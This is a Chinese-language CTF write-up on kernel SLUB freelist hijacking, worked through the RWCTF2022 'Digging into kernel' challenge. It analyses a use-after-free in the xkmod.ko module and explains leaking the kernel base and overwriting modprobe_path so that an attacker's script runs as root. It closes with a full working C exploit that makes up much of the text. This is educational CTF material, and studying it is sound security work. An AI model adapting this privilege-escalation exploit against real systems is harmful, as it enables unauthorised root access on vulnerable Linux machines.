freelist 劫持¶
与用户态 glibc 中分配 fake chunk 后覆写 __free_hook
这样的手法类似,我们同样可以通过覆写 freelist 中的 next 指针的方式完成内核空间中任意地址上的对象分配,并修改内核当中一些有用的数据以完成提权(例如一些函数表等)。
例题:RWCTF2022高校赛 - Digging into kernel 1 & 2¶
两道题目实际上是同一道题,因为第一题由于启动脚本漏洞所以可以直接拿 flag所以第二道题其实是对第一道题目的脚本的修复
题目分析¶
首先查看启动脚本
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic
开启了 smep 和 smap,这里出题人将 kaslr 写成了 kalsr,不过并不影响 kaslr 的默认开启。
查看 /sys/devices/system/cpu/vulnerabilities/*
,发现开启了 KPTI:
/home $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
题目给出了一个 xkmod.ko
文件,按照惯例这应当就是有漏洞的 LKM,拖入 IDA 进行分析。
在模块载入时会新建一个 kmem_cache 叫 "lalala"
,对应 object 大小是 192,这里我们注意到后面三个参数都是 0 ,对应的是 align(对齐)、flags(标志位)、ctor(构造函数),由于没有设置 SLAB_ACCOUNT
标志位故该 kmem_cache
会默认与 kmalloc-192 合并。
int __cdecl xkmod_init()
{
kmem_cache *v0; // rax
printk(&unk_1E4);
misc_register(&xkmod_device);
v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
buf = 0LL;
s = v0;
return 0;
}
定义了一个常规的菜单堆,给了分配、编辑、读取 object 的功能,这里的 buf 是一个全局指针,我们可以注意到 ioctl 中所有的操作都没有上锁。
void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // [rsp+0h] [rbp-20h] BYREF
unsigned int v4; // [rsp+8h] [rbp-18h]
unsigned int v5; // [rsp+Ch] [rbp-14h]
unsigned __int64 v6; // [rsp+10h] [rbp-10h]
v6 = __readgsqword(0x28u);
if ( a3 )
{
copy_from_user(&v3, a3, 16LL);
if ( a2 == 107374182 )
{
if ( buf && v5 <= 0x50 && v4 <= 0x70 )
{
copy_from_user((char *)buf + (int)v4, v3, (int)v5);
return;
}
}
else
{
if ( a2 != 125269879 )
{
if ( a2 == 17895697 )
buf = (void *)kmem_cache_alloc(s, 3264LL);
return;
}
if ( buf && v5 <= 0x50 && v4 <= 0x70 )
{
copy_to_user(v3, (char *)buf + (int)v4);
return;
}
}
xkmod_ioctl_cold();
}
}
我们应当传入如下结构体:
struct Data
{
size_t *ptr;
unsigned int offset;
unsigned int length;
}data;
漏洞点主要在关闭设备文件时会释放掉 buf,但是没有将 buf 指针置 NULL,只要我们同时打开多个设备文件便能完成 UAF。
int __fastcall xkmod_release(inode *inode, file *file)
{
return kmem_cache_free(s, buf);
}
基本上等于复刻 CISCN-2017 的 babydrive...
漏洞利用¶
我们有着一个功能全面的“堆面板”,还拥有着近乎可以无限次利用的 UAF,我们已经可以在内核空间中为所欲为了(甚至不需要使用 ioctl 未上锁的漏洞),因此解法也是多种多样的。
Step.I - 实现内核任意地址读写¶
我们先看看能够利用 UAF 获取到什么信息,经笔者多次尝试可以发现当我们将 buf 释放掉之后读取其中数据时其前 8 字节都是一个位于内核堆上的指针,但通常有着不同的页内偏移,这说明:
- 该 kmem_cache 的 offset 为 0
- 该 kernel 未开启 HARDENED_FREELIST 保护
- 该 kernel 开启了 RANDOM_FREELIST 保护
freelist 随机化保护并非是一个运行时保护,而是在为 slub 分配页面时会将页面内的 object 指针随机打乱,但是在后面的分配释放中依然遵循着后进先出的原则,因此我们可以先获得一个 object 的 UAF,修改其 next 为我们想要分配的地址,之后我们连续进行两次分配便能够成功获得目标地址上的 object ,实现任意地址读写。
但这么做有着一个小问题,当我们分配到目标地址时目标地址前 8 字节的数据会被写入 freelist,而这通常并非一个有效的地址,从而导致 kernel panic,因此我们应当尽量选取目标地址往前的一个有着 8 字节 0 的区域,从而使得 freelist 获得一个 NULL 指针,促使 kmem_cache 向 buddy system 请求一个新的 slub,这样就不会发生 crash。
可能有细心的同学发现了:原来的 slub 上面还有一定数量的空闲 object,直接丢弃的话会导致内存泄漏的发生,但首先这一小部分内存的泄露并不会造成负面的影响,其次这也不是我们作为攻击者应该关注的问题(笑)
Step.II - 泄露内核基地址¶
接下来我们考虑如何泄露内核基址,虽然题目新建的 kmem_cache
会默认与 kmalloc-192
合并,但为了还原出题人原始意图,我们还是将其当作一个独立的 kmem_cache
来完成利用。
在内核“堆基址”(page_offset_base
) + 0x9d000
处存放着 secondary_startup_64
函数的地址,而我们可以从 free object 的 next 指针获得一个堆上地址,从而去猜测堆的基址,之后分配到一个 堆基址 + 0x9d000
处的 object 以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。
若是没有猜中,笔者认为直接重试即可,但这里需要注意的是我们不能够直接退出,而应当保留原进程的文件描述符打开,否则会在退出进程时触发 slub 的 double free 检测,不过经笔者测验大部分情况下都能够猜中堆基址。
Step.III - 修改 modprobe_path 以 root 执行程序¶
接下来我们考虑如何通过任意地址写完成利用,比较常规的做法是覆写内核中的一些全局的可写的函数表(例如 n_tty_ops
)来劫持内核执行流,这里笔者选择覆写 modprobe_path
从而以 root 执行程序。
当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:
entry_SYSCALL_64()
sys_execve()
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
__request_module() // wrapped as request_module
call_modprobe()
其中 call_modprobe()
定义于 kernel/kmod.c
,我们主要关注这部分代码(以下来着内核源码5.14):
static int call_modprobe(char *module_name, int wait)
{
//...
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
//...
在这里调用了函数 call_usermodehelper_exec()
将 modprobe_path
作为可执行文件路径以 root 权限将其执行,这个地址上默认存储的值为/sbin/modprobe
。
我们不难想到的是:若是我们能够劫持 modprobe_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。
EXPLOIT¶
最后的 exp 如下:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#define MODPROBE_PATH 0xffffffff82444700
struct Data
{
size_t *ptr;
unsigned int offset;
unsigned int length;
};
#define ROOT_SCRIPT_PATH "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
/* bind the process to specific core */
void bindCore(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void allocBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x1111111, data);
}
void editBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x6666666, data);
}
void readBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x7777777, data);
}
int main(int argc, char **argv, char **envp)
{
int dev_fd[5], root_script_fd, flag_fd;
size_t kernel_heap_leak, kernel_text_leak;
size_t kernel_base, kernel_offset, page_offset_base;
char flag[0x100];
struct Data data;
/* fundamental works */
bindCore(0);
for (int i = 0; i < 5; i++) {
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
}
/* create fake modprobe_path file */
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " ROOT_SCRIPT_PATH);
/* construct UAF */
data.ptr = malloc(0x1000);
data.offset = 0;
data.length = 0x50;
memset(data.ptr, 0, 0x1000);
allocBuf(dev_fd[0], &data);
editBuf(dev_fd[0], &data);
close(dev_fd[0]);
/* leak kernel heap addr and guess the page_offset_base */
readBuf(dev_fd[1], &data);
kernel_heap_leak = data.ptr[0];
page_offset_base = kernel_heap_leak & 0xfffffffff0000000;
printf("[+] kernel heap leak: 0x%lx\n", kernel_heap_leak);
printf("[!] GUESSING page_offset_base: 0x%lx\n", page_offset_base);
/* try to alloc fake chunk at (page_offset_base + 0x9d000 - 0x10) */
puts("[*] leaking kernel base...");
data.ptr[0] = page_offset_base + 0x9d000 - 0x10;
data.offset = 0;
data.length = 8;
editBuf(dev_fd[1], &data);
allocBuf(dev_fd[1], &data);
allocBuf(dev_fd[1], &data);
data.length = 0x40;
readBuf(dev_fd[1], &data);
if ((data.ptr[2] & 0xfff) != 0x30) {
printf("[!] invalid data leak: 0x%lx\n", data.ptr[2]);
errExit("\033[31m\033[1m[x] FAILED TO HIT page_offset_base! TRY AGAIN!");
}
kernel_base = data.ptr[2] - 0x30;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] kernel base:\033[0m 0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] kernel offset:\033[0m 0x%lx\n", kernel_offset);
/* hijack the modprobe_path, we'll let it requesting new slub page for it */
puts("[*] hijacking modprobe_path...");
allocBuf(dev_fd[1], &data);
close(dev_fd[1]);
data.ptr[0] = kernel_offset + MODPROBE_PATH - 0x10;
data.offset = 0;
data.length = 0x8;
editBuf(dev_fd[2], &data);
allocBuf(dev_fd[2], &data);
allocBuf(dev_fd[2], &data);
strcpy((char *) &data.ptr[2], ROOT_SCRIPT_PATH);
data.length = 0x30;
editBuf(dev_fd[2], &data);
/* trigger the fake modprobe_path */
puts("[*] trigerring fake modprobe_path...");
system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");
/* read flag */
memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR);
if (flag_fd < 0) {
errExit("failed to chmod flag!");
}
read(flag_fd, flag, sizeof(flag));
printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);
return 0;
}